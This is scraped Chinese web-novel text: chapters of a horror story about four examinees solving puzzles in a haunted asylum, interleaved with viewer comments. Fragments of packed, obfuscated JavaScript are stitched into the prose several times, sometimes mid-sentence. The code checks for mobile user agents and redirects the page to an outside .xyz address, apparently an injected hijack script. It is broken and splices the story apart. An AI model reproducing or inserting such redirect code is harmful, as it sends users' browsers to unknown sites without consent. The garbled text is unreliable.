l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961526|161064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 印着101,但摸上去会发现门牌上面有凸起的看不见的文字。 戚灯醉:“能摸出来吗?什么字?” 官肆闭着眼睛感受着字体的笔画走向,轻轻地说:“好多横,还有个宝盖头,等等,这上面的字,好像是……” 〈我好像知道了……〉 〈是什么是什么?别卖关子啊。〉 “——是我的名字。” 官肆又摸了一遍,“没错,就是官肆。” 【各位考生,插播一条消息。】 【本场考试《逃离疯人院》因为未知原因,难度升级。】 【本场考试难度为:E→D。】 〈我日,真的升级了,这不是直接玩完吗?之前其他考生的攻略估计也不能用了。〉 〈这也太犯规了吧,什么叫未知原因,这不纯纯搞笑的理由吗?〉 〈真服了,系统不会是想坑死裴宿和贺逐吧?还带这么玩的?〉 〈101是官肆的名字,难度升级明显是因为官肆啊。〉 难度骤然升级,戚灯醉却没有多余的反应,他拍了拍小草光球,“你再去摸摸其他病房,看看是不是其他病房的门牌号上也有字。” “好。”官肆声音沙哑,感觉自己从灵魂深处散发出一阵强烈的瘙痒。 他压下心头的跃动,顺次摸了一遍102和104的门牌号,上面的字分别是裴宿和贺逐,没有什么问题。 “看来,有问题的应该就是101和103了。”官肆说,“戚哥,我们先去103看看吧。” 刚走到103走廊,官肆就和裴宿等人碰上了。 “有什么发现没有?” 官肆点头,声音异常凝重:“病房外面的门牌号上有字,我来103看看。” 他走到103的门牌号旁边,用手覆上去,“三个字。” 简单的感受了一下之后,官肆道:“戚哥,是你的名字。” 话音刚落,大厅里的考生证开始旋转起来,速度越来越快,逐渐脱离了证件放置的地方,转而飞向了官肆。 考生证仿佛流星一般在空中划过,稳稳落到了他的手里。 考生证在官肆手中飞旋翻转,逐渐显现出信息。 考生姓名:官肆 考生等级:一介学渣LV.5 考生积分:0 考生排名:未上榜 至此,四个病房的病人身份和本次考试的考生身份都已经清楚了。 101-1号官肆-人格分裂症。 102-2号裴宿-抑郁症。 103-3号戚灯醉-躁郁症。 104-4号贺逐-情感障碍症。 “所以……”裴宿道,“这场考试,其实真正只有3个人,系统把你也当成了考生?” 〈卧槽,系统这也太坑了吧。〉 〈没有人说吗,这场考试真的很精彩,从一开始戚灯醉直接跟护士对着干,到后面直接又是人格分裂又是三缺一,比其他场动不动就直接送菜好看多了好不好?〉 〈楼上笑死我了,我好像已经知道你在说谁了。〉 〈懂的都懂好吧,上一场考试追完真的感觉浪费时间。〉 “对。”官肆道,“但这不是最大的问题。” 5. 逃离疯人院.5 此时已是黄昏,天边泛着血一般的红霞,走廊里窗户稀少,现在已经完全暗了下来,天花板上悬挂着几个光线微弱的灯泡,昏暗而阴郁,异香还直往鼻子里冲,氛围愈发压抑。 “我和戚哥只能共用一个身体,这意味着,一旦有需要分工合作的任务,我们天然就会缺少一个人,难度直接拉大了好几倍。而且护士长白天可能还会巡逻,我和戚哥还需要在101和103之间来回折返。” 他的脸一半处于光中,一半隐于黑暗。 “我想,这才是考试难度升级的真正原因。” …… 短暂的眩晕后,戚灯醉睁开眼,终于重新获得了身体主导权,他神色冷淡道,“不用想这么多,与其纠结这些,不如先重新想想那封信。” 裴宿扫了他一眼,问:“戚灯醉?” “嗯,是我。”戚灯醉下意识摸了摸口袋,发现自己的烟并没有带进考场。 他换下官肆的一身女装,问裴宿:“有没有眼镜?” 裴宿:“眼镜?” “对,我高度近视,白天勉强还能看见,现在黑了,看不见。”戚灯醉揉了揉眉心,神色有些疲惫,虽然他们在考场里待的时间并不算长,但是又要应付护士长,还得想办法破解考题,实在是让人身心俱疲。 “有。”裴宿说,“我房间里好像有个眼镜,不知道你能不能用。” 不消片刻,他就取回了眼镜,问戚灯醉:“怎么样?能用吗?” 戚灯醉扶了一下鼻梁上的金框眼镜,说:“能用。” 话题一转,他道:“现在已经证明了我是103的病人,那这封信便是其他人找我求救的,这个人很可能还没有死,正在疯人院内的某个地方。” “这个地图不可能这么小,二楼是护士长所在的地方,上面一定有东西,我们得趁护士长带着护士下来的时间上去一探究竟。” “我会以最快的速度上去二楼看一圈,以防万一,我希望你们能帮我拖住护士长。” “没问题,交给我就好了。”裴宿眨了眨眼,对着贺逐露出一个不怀好意的笑容,“贺兄,我有一计,你可得好好帮我。” 贺逐语气深沉,“滚。” 裴宿撇了他一眼,“死木头,真是不解风情。” - 疯人院里并没有电梯,还是最老旧的那种狭窄楼梯,楼道两侧皆是长期留存下的黑色污垢,扶手上已经留下了厚厚的一层灰。 二楼走廊涉及的房间类型很多,戚灯醉一路过去,发现有护士站、档案室,还有专门开辟的重症病房。 重症病房进不去,而护士站又有护士长在,能去的只有档案室。 档案室里的文件很多,戚灯醉随便翻了几本,发现大多数都是病人的病历记录和医生护士的身份资料,里面密密麻麻的各种研究记录。 然后在一个隐秘的角落,戚灯醉发现了一本日记,上面记录了一个叫做小羽的女生来疯人院后发生的事情。 【护士给我喂了药,我不想吃,为什么父亲要把我送到这里来,我没有病,我真的没有病,难道我不是他的孩子吗?】 这时候小羽的笔迹还算工整,然而随着时间发展,她的笔迹也开始有了变化。 【门外有人在敲门,他们在发狂,跟丧尸一样,为什么他们会变成这样?我好害怕,谁来救救我,我想回家,我要回家。】 【门外的人走了,我不敢出去,二楼有哨声,他们好像去了二楼,我看见了小言,她为什么也会变成这样,为什么只有我没事,谁来帮帮我。】 【小言刚刚进来了,她的眼睛是红的,她居然想要杀我,为什么……】 【我好像不小心打碎了花瓶,里面的花突然就枯萎了,然后小言就没事了,我该怎么办,我们怎么样才能出去?为什么,我和小言都没有病,为什么要这么对我们?】 后面的字体非常混乱,横七竖八的,日记本上沾上了大片墨迹,看得出来写字的人极其慌张,精神状态也已经不太好了。 【我知道了、我知道了……】 【我没吃药,我没有吃药,所以我没事,药和花一起作用才会让人发狂,只要我们不吃药,再把花瓶打碎,是不是就没事了?爸爸,我错了,求求你来救救我,求求你不要放弃我。】 【护士长发现我和小言不见了,但是我们躲进了301的密道,它好像连接的二楼的重症病房,那里好多尸体,她们丧心病狂,他们在用人做实验!好恶心、好恶心,我该怎么样才能逃出这里?】 【我们不敢出去,只能躲在密道里面,我好饿,小言已经快不行了,怎么办怎么办怎么办怎么办……】 【为什么103没有新病人来,来救救我们吧,我不想死,我真的不想死,我想和小言一起出去,我们还有很多事都没有做。】 【我想活,和她一起活。】 日记就断在了这个地方,后面再也没有新的内容了。 与此同时,灵异学院观演网站里,其他考生早就炸开了。 〈不是吧,这才几个小时啊?就这么水灵灵地过到密道剧情来了?这俩人真的变态,速度这么快。〉 〈就没人吐槽一下吗,这个剧情设置也太简单了吧,随随便便就把剧情说干净了,还探索个p啊,感觉前面探索一堆都是白探索了。〉 〈只是为了拿过程分罢了。要不是官肆加大了难度,这场考试其实还能更轻松,过完这里的剧情,后面基本就是简单配合一下就过了。〉 〈新生考试不都这样吗?一个新生考试还指望内容缜密、逻辑自洽?洗洗睡吧,新生考试探索一堆最后发现剧情自曝了都是常态好吧。〉 〈这四个人没一个是省油的灯,你们知道为啥刚刚裴宿和贺逐能半夜来103吗?因为这俩直接简单粗暴把花掐死了,更他喵离谱的是,我以为他俩都吃了药,我还寻思他俩咋没事呢,结果刚刚贺逐说,护士长给的药,他在拿着丢进嘴里的一瞬间就直接捏成了粉末,压根就没吃,这谁tm想得到啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961527|161064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这也能行。〉 〈我靠哈哈哈哈,这是真粗暴啊。〉 〈这组考生不会刷新考试最快交卷记录吧?我记得这个考场最快的好像是二十年前微雪战队的那位,不过当时他匹配的人都蛮垃圾的,纯靠他带飞,拖了他后腿,不然估计还能更快。〉 〈那位是真的强,一个人打通副本,简直离谱,不过这四个没一个蠢的,说不定真能刷新记录。〉 〈问题是那个官肆感觉啥用都没有啊,还硬生生占了一个考生名额,更何况这个考场去过的人都知道,四个人简简单单,三个人就是地狱级难度了,不说死几个吧,但是全身而退还是不太可能的,目前想不到该怎么过。〉 官肆并不知道这些言论,他重新看了一遍日记,对戚灯醉说:“所以103那封信其实是小羽留下来的求救的,这封信也不是专门给某一个人的,而是给所有来103的人看的。” 戚灯醉道:“不,这个3号不一定是指的身份,也可能是指的位置,她想表达的意思很可能是——救我,我在3号的病房,也就是103。” 这个叫小羽的女生,用最后的精力,发出了一封求救信—— 【救我,三号。】 可是这封求救信并没有人看见,它落入301的床缝里,日积月累下逐渐磨损、泛黄,将小羽的求救声无情地镇压了下来,将她的所有恐惧、痛苦和怨恨,都淹没在了这所疯人院里。 ——直到,他们的到来。 档案室里悄无声息,气氛沉重得仿佛黑云压顶,呼吸声无比清晰。 官肆接着道:“这也解释了为什么花瓶裂开了仍旧能用,而不怕漏水。因为这束花根本不会坚持到第二天。当天晚上,所有病人来到这所疯人院之后,就会吃到护士给的药,而到了晚上,药和香混合在一起就会使他们发狂,让他们失去意识,循着哨声走到二楼,成为人体实验的试验品。” “而一旦有新的病人来了,疯人院又会给他们换上新的花,自然不用浇水,花瓶裂不裂也就不要紧了。” “嗯。”戚灯醉重新藏好笔记本,“当务之急是要找到那条密道。密道连接103和重症病房,我们回去103看看。” 官肆道:“先去找裴宿和贺逐吧,让他们一起来找密道。” 等叫上了人,几人推开103的门,却发现里面竟然有一个护士。 护士的眼睛已经全然变红了,神态和小羽所描述的小言当时进103时想杀她的状况一模一样。 “她很可能误食了药,你们躲远一点,我来跟她打,别被误伤了。” 话音未落,护士已朝着戚灯醉扑了过来,她的嘴里已经长出了尖锐的獠牙,手指甲暴长发青,宛如锋利的刀刃。 “戚灯醉,小心!” 护士抬起一双已经变异了的手,朝着戚灯醉的双眼便挖了过去。 戚灯醉侧身躲过,冷冷地看着护士癫狂的神情,语气中透出一股桀骜不驯。 “死不了,你们先走。” 6. 逃离疯人院.6 贺逐点点头,说:“速战速决,护士长很可能醒过来了,你当心,我们出去堵护士长。” “好。” 戚灯醉抬起手,抄起白天被他拆开的床头柜零件,一个侧身,转手就砸向了护士。 零件砸到护士的脸上,仿佛撞上了什么金属制品,发出了一阵清脆的响声,护士面色狰狞,嘴里溢出绿色的血液,在黑暗中发着透亮的光芒。 戚灯醉飞身而起,脚用力蹬墙,借助身体的惯性,在空中翻出一道漂亮的残影,动作流畅而连贯,潇洒帅气。 等所有人反应过来时,护士已经被踹得嵌进了墙里。 〈我草,好帅啊啊啊啊啊啊!!!〉 〈虽然系统给他的脸很普,但是他的气质和动作好A啊,受不了了,从今天开始他就是我的偶像了,呜呜呜戚神up我。〉 〈我靠,这一脚感觉踹进了我的心里。〉 戚灯醉刚刚那一下硬生生砸到了护士的脸上,护士高声嘶叫了一声,猛然吐出一口青色的獠牙。 但她好像丝毫感觉不到痛意一般,紧接着又扑了过来,一爪就将戚灯醉的背抓得渗出鲜血。 血迹从戚灯醉的后背一点一点渗出,他忍住了一声轻哼,没等护士发出第二次进攻,就抓住旁边的花瓶“砰砰”两下砸了过去。 仿佛一阵惊雷响起,花瓶在护士的头顶“砰”的一声炸开,瓷片和泥土四处飞溅。 护士满是怨毒的神情陡然一变,慌张痴狂地朝着花的方向扑过去。 “花……我的花……” 瓶内的花落到了地上,失去精心准备的土壤后,花的颜色立刻从鲜红变成了黑色,在转瞬间枯萎腐烂。 浓郁的香味顿时烟消云散。 护士终于不再发狂,直挺挺地倒了一下去,她身上的异变也慢慢消失,身体恢复成了原本正常的样子,狰狞的神情也平和了下来。 戚灯醉抹了一把脸上的泥痕,总算松了一口气。 他的身影高挑修长,眉间冷冽,侧脸被迸溅的花瓶碎片割出了一刀伤口,透出一股难以言喻的气势。 戚灯醉本来可以无伤解决护士,可这护士刚刚的走位实在是太刁钻了,刚好挡住了花瓶,让他一时之间没法直接拿到。 白色小光球头上的小绿芽弯了又弯,都快把担心写在了脸上:“戚哥,你没事吧?” 戚灯醉淡淡道:“没事,小伤。” 他打算先去和裴宿汇合,结果一只脚刚抬起来,突然就两眼一闭晕了过去,失去了意识。 等官肆切过来时,他两眼一睁,单膝直直地跪了下去,嘴里呕出一口鲜红的血液。 官肆:“…………”草。 为什么会在这个时候交换身体!!! 观演网站里鸦雀无声,所有人都被这口血震住了,足足十秒,弹幕才重新开始疯狂滚动,讨论得热火朝天。 〈啥情况,不就是被抓了一下吗?护士的爪子上又没毒,戚神不是刚刚还好好的吗?怎么突然就吐成这样了。〉 〈?太假了吧,兄弟。〉 〈不是,这他么是碰瓷吧?小护士头被砸得都凹了个坑进去了,结果他搁这儿吐得跟受了重伤一样,小护士上法庭都能当原告了。〉 〈小护士:不是,我请问呢,你礼貌吗?〉 官肆面色苍白,嘴角血红不堪,他的面前一阵一阵发黑,足足过了好几分钟,头脑里眩晕失重感才缓解了不少。 摘下眼镜,官肆摸了摸脸上的伤痕,垂下眼眸,浓密的睫羽遮住了他眼底一闪而过的悲切。 “戚哥……你什么时候,才能记起我呢?” - 另一边,离开103的贺逐忍无可忍,“你这是什么馊主意,护士长自己都跟鬼一样了,还能怕鬼?” 裴宿一脸无所谓的表情,“你急什么,鬼打墙跟鬼那能一样吗?我可是阵法师,你能不能给我一点最基本的信任。” 贺逐曾在一场名叫《洋娃娃》的考试里通过操控洋娃娃通关了,获得了傀儡术,成为了以傀儡线操控他人的傀儡师。 这两人曾在考试结束后在灵异学院报道大厅见过面,因此,从来到这个考场见到的第一眼起,两人就已经对对方“老考生”的身份心知肚明了,只不过有戚灯醉和官肆这两个新手,两人便没有透露身份。 裴宿挑了挑眉,说:“贺兄,轮到你发挥的时候了,你可别给对面放水,我这个阵法师还得靠你保护呢。 “看见那个东西了吗?那是我的阵眼,我鞭子往那里一甩,就会开启阵法,困住护士长。”裴宿小声道,“待会儿你就用傀儡丝把护士长控制住就行。” 贺逐瞥了他一眼,说:“我现在能力不够,傀儡丝只能控制一段时间,而且一旦控制时间结束,护士长能够意识到她被控制了,我控制她期间做的一切事情,她也会有记忆。” 裴宿“嗐“了一声,“小问题,小问题,等你控制时间结束,说不定我们都已经出去了,再说了,这不是还有我嘛,你要是控制不了了,我还能帮你拖住他一会儿,而且考场里还有戚灯醉那个最强劳动力。 他拍了拍贺逐的肩,“放心,贺兄,我这人最是讲义气,绝对不会丢下你一个人跑的。” 护士长刚一露头,裴宿就站直身子,挥动鞭子,“啪”一下抽在阵眼上。 霎时光芒大盛,巨大的光柱直冲云天,以光柱为中心,现出一个五星阵法。 “就是现在,贺兄,快上!” 贺逐心道:“聒噪。” 他的手从指尖开始生出一缕缕傀儡丝,不断延伸生长,刹那间无数傀儡丝喷涌而出,朝着护士长袭来。 护士长猛扑过来,却撞到了阵法结界,万千傀儡丝侵入她的身体。 贺逐略一抬手,护士长的眼眸便彻底迷离,身体如傀儡木偶一般不受控制,随着贺逐的手指变化而行动。 裴宿拍了拍他的肩,称赞道:“贺兄不愧是贺兄,果然不负我所托。” 贺逐没理他,操控护士长回到护士站,接着道,“走,去接戚灯醉。” - 两人赶到的时候,官肆才刚刚缓过来,这点小伤差点要了他半条命,委实是脆皮病美人一个。 贺逐只看了他一眼,便道:“官肆?” 虽然才几个小时,但他现在已经能 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103的线索实在是太少了,官肆闭着眼,回忆着进入考场后经历的所有事情——求救信件、自述日记,无一不和文字相关,无论谜题有多复杂,解题思路始终都是围绕着“考试”进行的,这也符合主题。 所以,这个门打开的方式,到底会是什么,才能和主题连上关系呢? 到底是什么呢? 小羽又究竟通过什么样的方式,才能在濒临绝路的时候开启103的密道呢? 拼音、文字、词语…… 电光火石之间,一丝灵感从官肆的脑海里划过。 他眸光一闪,“声控,这扇门的需要通过语言来开启!” 只有语言,才能既契合考试的命题,又符合小羽所处的时间点。 “这是新生考试,若不是我的出现强行拉高了难度,考试本身应该是很简单的。” “密道是小羽开启的,触发条件一定会符合小羽当时的现状。一个年轻的女孩子,和她的朋友困在一间疯人院的病房里。” “这样的条件下,能够误打误撞开启的密道门,除了声控,没有更简单的方式了。” 〈我天,他真的好聪明啊,谁说他没用的?〉 〈那又如何?这个副本三个人是没法全身而退的。〉 〈楼上有什么大病吗?能不能少说点风凉话?〉 〈实话实说罢了,又破防了?〉 官肆回忆小羽的日记和求救信,一遍又一遍在脑海里搜寻着记忆。 然后,他在所有人的注视下,轻声说了一句谁都意想不到的话—— “我爱你。” 墙体应声而动,发出阵阵轰鸣,整个墙面中间往两边移动,现出一条漆黑深邃的密道。 他轻叹道:“果然,她们是情侣。” 〈???????哈?什么鬼?〉 〈what?故乡的百合花开了?〉 〈逆天啊,这是怎么猜的?〉 弹幕里的问号都快刷疯了。 7. 逃离疯人院.7 从一开始看见日记开始,官肆就觉得小羽的话很违和。 她说: 【她想要杀我,为什么……】 【我想和小言一起出去,我们还有很多事都没有做。】 【我想活,和她一起活。】 这已经超越了一般的朋友情谊,而更让官肆怀疑的是,小羽在日记里表现的状态和情感变化多样,她在日记尚且无法保持冷静,就更不可能在现实里毫无所动。 所以,恐惧害怕、无助呼救,这些人面对未知事物、面对死亡威胁时最直接的行为,不会成为密道开启的条件,否则密道早在小羽来疯人院的时候就能开启了,根本不会等到那么晚。 所以最大的可能,就是日记里剩下的,最纯粹的情感。 让官肆肯定她们之间的关系的,是小羽的那句: 【我和小言都没有病,为什么要这么对我们?】 是什么样的情况,能让两个情感深厚的女生都被认为有病,被一起送进疯人院? 除非——她们在一个同性恋还未被承认的年代、一个同性恋还被当做精神病的年代,相爱了。 这是一个很大胆,也很荒谬的想法。 但就是这样一个看似不可能的想法,成为了这场考试的事实。 小羽和小言被认定为了异类,被认定为了不符合世间规则的破坏者,被认定为了难以让人接受的疯子。 她们之间真挚动人的情感,在他人的操作下,成了葬送她们上路的理由。 【我没有病。】 【我和小言都没有病。】 小羽在日记里一遍又一遍地诉说,她在绝望之际表达的真诚而无私的爱,成为了开启密道的钥匙,也为她和小言赢来了最后的一丝生机。 〈好癫的故事,感觉圆得莫名其妙的,符合我对新生考试的刻板印象。〉 〈话说这场考试不是难度升级了吗,目前感觉难度也没怎么变啊。〉 〈等等看就知道咯。〉 几人循着密道进去,一直走到尽头,出现了一条岔路,一边指向了重症病房,一边指向了疯人院的出口。 【恭喜考生戚灯醉、官肆、裴宿、贺逐解锁加分考题作答资格。】 【加分考题:请考生前往重症病房,带走人体实验的报告记录,将疯人院的罪恶公之于众。】 然而,他们的注意力并没有在这道播报上,而是落在了密道前方。 目光所及之处,孤零零地躺着一摊骨架,她们彼此交融,合为一体。 官肆心脏一疼,一股剧痛随之袭来,裴宿眼疾手快,一把架住了他下滑的身体。 “戚哥……”官肆嘴唇血色尽褪,口中喷涌出大片大片的血液。 血液沿着病服留下,滴滴答答,仿佛指针在转动。 官肆眼神涣散,神情无助又满是痛苦,只是重复地喃喃着,“戚哥……为什么我听不见你声音了……” “戚哥,你在吗……” 仿佛听到了官肆的呼喊,意识海中似乎传出了一声轻微的“嗯”,随之便再也没有了声响。 但是,已经快要失去意识的官肆却好像真的听到了他的回应,眼神逐渐清明,口中也不再涌出鲜血,血色缓慢恢复。 …… 官肆慢慢地站起来,裴宿扶着他,问他:“还能走吗?” “应该能撑到考试结束。”官肆声音微弱,“先去出口这里看一下吧。” 几人来到了疯人院出口前,这里有一扇铁栅栏一般的门,上面挂着一把没有钥匙的锁,锁已经明显生锈了。 【恭喜考生戚灯醉、官肆、裴宿、贺逐解锁最终考题作答资格。】 【请考生前往3楼院长室,找到题眼,破解最终考题,逃出疯人院。】 【新考生必读指南:题眼具有永久的“思路阻塞”屏障,考生在破解题眼的同时需要关闭屏障,请考生前往重症病房关闭屏障。】 【温馨提示:破解题眼和关闭屏障必须同时进行。】 同时进行,意味着会卡人数限制,没有特殊办法的情况下,必须要两个人合作,一个人需要去院长室拿钥匙,另一个人需要去重症病房关屏障。 〈啧,我就知道,而且不只是这两个地方要人,院长室和重症病房的路上都会有护士看守,想要过去,必须有人开路,一旦有一条路上没人开路,那个人就出不来了,这才是这场考试需要四个人的真正原因,这场考试几乎把人数卡的死死的。〉 官肆的出现,导致场内少了一个可以开路的人,势必有一个人走不了。 〈新人求解答,为什么微雪队长能够无伤单通疯人院考试啊?按照这场考试设置,不说四个人,就算微雪队长强到不需要人开路,也至少得两个人搞屏障和钥匙吧。〉 〈不知道,那个时候学院还没创建观演网站,没人知道他怎么出来的,反正强得是真的变态。〉 灵异学院的历史上,陨落过一代又一代新星。 二十年前,是最耀眼的时代,一个名为微雪的战队横空出世。 NO.1,NO.3,NO.4,齐聚在这个战队里。 学院历史上,没有任何战队在最终考试里通关过,但凡参加过最终考试的队伍,无论多强,都葬身在了那场名叫“灾厄亡灵祭祀”的考试里。 可微雪的光芒实在是太耀眼了,在整个学院的历史上都没有比微雪更强的战队。 以至于哪怕微雪还差一人,依然毫无悬念地成为了学院历史上最有打破死亡规则、通关最终考试的队伍。 X1052年。 微雪战队赢来了最后一位考生,正式满员。 X1053年。 微雪战队全员进入“灾厄亡灵祭祀”考试,也是微雪战队的最后一场考试。 也是X1053年…… “灾厄亡灵祭祀”考场彻底关闭。 ——所有参与者无一生还。 …… 微雪战队既代表着传奇,也代表着神秘。 传闻他们曾窥破过通关最终考试的玄机,并且留下来了其中的破解方法,后来有很多人尝试去寻找线索。 但当年微雪进入“灾厄亡灵祭祀”考场时几乎带走了所有的东西,而那些东西全部都埋葬在了那场考试里。 于是,伴随着微雪战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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事已至此,裴宿知道劝不动他,哪怕心里有再多的问题,也只能留在考试结束后,他看了一眼官肆,说:“自己保重,学院大厅见。” 官肆不再应声,转身走向了重症病房。 他的身影越来越模糊,最后与黑暗融为一体,消失不见,仿佛从未出现过。 密道连接重症病房的通风口,里面有几个身着白大褂的医生,床上空空如也。 很显然,戚灯醉这批新的“猎物”还没有来重症病房,导致这些医生没法做实验。 透过重症病房门上的玻璃,官肆看见门外几乎全是护士留守,也就是说,处理掉了重症病房里的医生,还得解决门外的护士。 而护士长过不了多久也会赶回来,一个不慎,官肆很可能就会被内外夹击,困死在这里。 官肆打开通风口,伸出右手,顷刻间,他的手里便散发出一阵白光,一把骷髅白骨伞落到了他的手上,随后,伞顶冒出了一个锋利的尖刺,将伞变成了一把可以攻击的武器。 重症病房里的医生听见了动静,迅速进入戒备状态,他们抬头望向通风口,还没看见人,已被从天而降的官肆刺穿了身体。 他的嘴角不断地往外溢出血,嘴唇苍白到开始颤抖,握着伞的手控制不住地轻轻摇晃。 可他的动作很从容,好像已经做过无数次了,骷髅白骨伞如一把泣血的利刃,在几个医生的身体里进出。 观演网站里,所有人都懵了,弹幕数量在这一刻达到了顶峰。 8. 逃离疯人院.8 〈???????????〉 〈我寻思我也没眨眼啊……〉 〈不是,我就上了个厕所,谁来给我解释一下发生了什么?〉 〈他不是新人吗?哪儿来的本命武器?不科学啊卧槽。〉 〈看他的动作和伞的结构,他应该不是主攻位的,更像是辅助位,只不过带了点攻击能力,不过,就算是辅助位,他的能力也不可能是新人,甚至不像是只过了一两个副本的人,很奇怪,难道这年头大佬都喜欢开小号了?〉 解决完了重症病房的医生,官肆再次咳出一口血,手撑在桌上闭着眼缓了一阵,等身体不像之前那样摇摇欲坠后,他才抹了一把嘴,便开始翻看重症病房里的实验记录和日记本。 来都来了,总得做一下加分题,死在这儿倒也罢了,可万一能出去呢? 实验记录和日记本里的信息很长,最早的一篇记录是20年前,每3个月会有一批病人进入疯人院,成为实验体。 日记里记载道,最开始,疯人院的确是和研究所合作,想要研发治疗病人的药物,而提出并领导研究的人是一位名叫留山的医生,留山研发的最初一批药物的确有效果,服用后的病人精神状态明显有好转。 但是,留山的目标并不是治愈他们,他并不满足于简单的药物治疗,而是想要进一步从病人的身体上改造,让他们彻底摆脱患上精神病的可能。 留山的母亲因为患上精神病而自杀身亡,父亲得知噩耗,在开车途中发生了车祸,车子开下山崖发生爆炸,父亲当场死亡。 留山不想让其他家庭也承受这样的悲剧。所以,治疗精神病,让人变得正常而健康,是留山一生追求的志向。 ——这本应是留山的好意。 18年前的春天,初代实验体进入了重症病房,开始了身体改造,初代实验体并不是被迫来到疯人院的,而是自愿参加实验。 可是那场改造很惨烈,因为改造失败了。 留山有事离开,没有留在重症病房,而参与那场改造的其他医生却死得很惨。 他们的尸体被发狂的病人撕碎,四分五裂,留山回到重症病房时,病房内血迹斑驳,地上到处坦露着血淋淋的内脏,让人忍不住作呕。 这种场面,对于一个正常人来说,会是一生的噩梦。发生了这样的事,本来这场人体实验就应该停止了。 然而,留山看到的却是另一个角度。 这个发狂的病人,本身身体很虚弱,精神状态也很差,可以说是半只脚踏进了鬼门关,离死不远了。 在经历了人体改造后,他不仅没有死,反而身体素质得到了很大程度的提升,可以一个人杀死整个重症病房里的医生。 留山想,如果能够改良实验,剔除里面的副作用,是不是有可能将一个身患重度精神疾病的临死之人从死神手里拉回来,甚至让他的身体比正常人还要好? 留山的野心愈发大,他想要继续实验,他想要研究出彻底让人体免疫精神疾病的方法。 而后续的研究效果并不好,不是有病人猝死,就是有医生被身受改造副作用的病人杀死。 到后来,已经没有病人再愿意加入实验了。 留山不愿意放弃,他明明已经看见了胜利的曙光了,他怎么可能甘愿就此放弃。 实验已经不再是他的志向,而成了他病态的执着。 ——没有病人自愿,那就强迫他们来。 为他的研究而牺牲,本就是一件光荣的事情,若能研究出来药物,何尝不是一种贡献? 一味的强迫导致病人们开始抗议,他们不再受医生和护士的控制,集体联合,反而造成了疯人院内的长期混乱。 于是那年,疯人院的老院长也死于暴乱,他本身其实并不支持实验继续下去,他很清楚,实验已经偏离了初衷,再坚持下去,一定不会有好结果。 所以老院长死前对留山说:“留山,好孩子,收手吧,你的医术还可以用在更好的地方,而不是困在这所疯人院里。” 留山是他从小带到大的,留山的父母死后,老院长收留了他,对他视若己出,把自己毕生所学都教给了他。 老院长曾经很欣慰,因为留山的确是个天才,而且是天才中的天才。 可天才和疯子,往往只在一念之间。 留山顶级的天赋,反而成为了束缚他的枷锁,也成为了推他致死的助力。 他救过很多病人,却救不了被撕碎的医生,救不了实验死去的实验体,更救不了自己和老院长。 老院长本就该退休了,但看着留山一步步迷失在这条路上,从只身向阳,到深陷黑暗——他发现,他放不下。 留山是他的孩子,就算变成了一个坏孩子,无论如何,也是他的孩子。 于是,老院长也困在了这所疯人院里。 直至死亡的那一刻,也未曾解脱。 老院长生前留下了一条密道,如果有一天留山走投无路,作为他的父亲,他希望能最后为他留一条活路。 “我爱你”,不是爱人耳鬓厮磨时亲密的情话,而是一个父亲,为自己犯了错的孩子,最后留下的无奈而深沉的关怀。 只是,老院长死得太突然,以至于他根本就没有想起来、也没来得及告诉留山密道开启的方式。 …… 老院长死后,留山便成为了疯人院的新院长。 他研究出来了一种花,取名叫留香,留香花的花香味配合他所研发的药物,可以使病人失去意识,只要他吹响哨子,病人便能根据哨声来到重症病房,成为他的实验体,成为待宰的羔羊。 这场实验就这么继续了下去,进来的病人多数是在家族竞争中被家族内部厌弃或是迫害的人,不然便是被以治疗疾病的理由诓骗进来的人,即使死了,处理起来也简单。 这场实验竟然就这么瞒了无数年。 官肆接着看下去,目光停留在了5年前—— 5年前,新进来疯人院的一批病人中,便有小羽和小言。 记录里说,她们离奇消失了,留山遍寻无果,但重症病房看护森严,小羽和小言不太可能知道实验的秘密。 当然,留山是知道她们没有精神疾病的,因此,不知道是不是出于残存的善意,留山最终选择了放过她们,不再派人寻找。 不过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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裴宿颔首,应了一声,说:“贺兄,给我守好路,不然你连我尸体都收不到,我只能曝尸荒野了。” 随即,他闪身进入了三楼的院长室。 院长室里,留山静静地坐在办公桌前,看着裴宿,语气平静而自然:“你们来了?” 裴宿道:“你是谁?” “他是留山,人体实验的始作俑者。” 耳边传来官肆的声音,虚幻而飘渺,裴宿都怀疑自己听错了。 “杀了他,取钥匙,他身体可能会变异,你注意一点,找找他的房间里有没有花。” 官肆再次传音,裴宿确定自己没听错。 裴宿迅速扫了房间里的陈设,心如死灰——院长室内没有花。 也就是说,留山的身体已经进化到了另一个层次了,他不需要留香花的牵引,或者说,牵制。 留山盯着他的眼睛,他的眼神里没有任何感情,比起人,更像机械。 “不重要,你不会活着离开这里。” 他抬手,飞身而起,一拳砸向裴宿,拳势带起一阵劲风,让裴宿本能地察觉到了危险。 裴宿侧身而过,拳头从他的脸边擦过,直直落在墙上,凹进去了快两寸深。 看到这一幕的裴宿惊呆了,这他妈给他干哪儿来了,戚灯醉哪是铁臂战士啊,这个留山才是真他妈的铁臂战士。 真是个疯子,他居然把自己的身体也改造了,这一拳下去不得把他骨头都砸断?这他哪儿打得过? 他是阵法位,又不是攻击位。 9. 逃离疯人院.完 迅速和留山拉开距离,裴宿放出究极绝招,他鞭子一挥,短暂卷住留山,大声求救:“贺逐!我打不过,快来救我!!!” 贺逐道:“你死里面算了,外面太多人了,我敢进来我俩就得困死在这里了。” 